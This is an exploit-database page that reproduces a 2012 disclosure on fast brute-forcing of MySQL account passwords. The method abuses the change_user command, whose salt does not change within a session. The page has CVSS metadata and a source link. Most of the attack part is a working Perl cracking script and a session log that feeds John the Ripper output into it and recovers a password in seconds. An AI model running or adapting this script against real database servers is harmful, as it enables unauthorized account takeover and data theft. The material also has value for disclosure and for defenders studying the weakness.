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MySQL Local/Remote FAST Account Password Cracking

CVE	Category	Price	Severity
N/A	CWE-287	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local / Remote	2012-12-04

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N	0.021503	0.284205

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System	High	VC	There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System	High	VI	There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System	High	VA	There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact	Negligible	SC	There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System	None	SI	There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System	None	SA	There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2012120039

Below is a copy:

FAST Cracking of MySQL account passwords locally or over the network (post-auth)

(to the maintainers: you don't need to patch this, looks alot like a
minor bug, prolly documented :D)
 
I found a method to crack mysql user passwords locally or over the
network pretty efficiently.
During Tests it was possible to test 5000 passwords per second over the network.
The method is as follows:

The attacker logs into the mysql server with an unprivileged account.
There is a command in mysql called change_user, this command can be used
as the name suggests to change a user during a mysql session.
Since mysql is very fast in doing this it is much more powerful to crack
passwords rather than reconnecting every time to the mysql server to
brute force passwords
(what would be VERY slow).
Since the SALT does not change (and this is the weak point) in the
change_user command
it is a convienent way to crack passwords. (When connecting to mysql
in each connection
attempt the SALT is always different and sent out by the server).

Below is an example script and an example which uses John the Ripper's
capabilities
to generate passwords.

The passwords "pass" for the user "crackme" is cracked in a matter of seconds.
(about 100000 passwords are tested in 20 seconds)
---
cracking script

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0",
                $crackuser,
                "\x14".
                Net::MySQL::Password->scramble(
                        $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
                ) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
        print "[*] Cracked! --> $currentpass\n";
        exit;
}
}
---
example session:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
[*] Cracked! --> pass
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs
Session aborted

Greetings,
Kingcope

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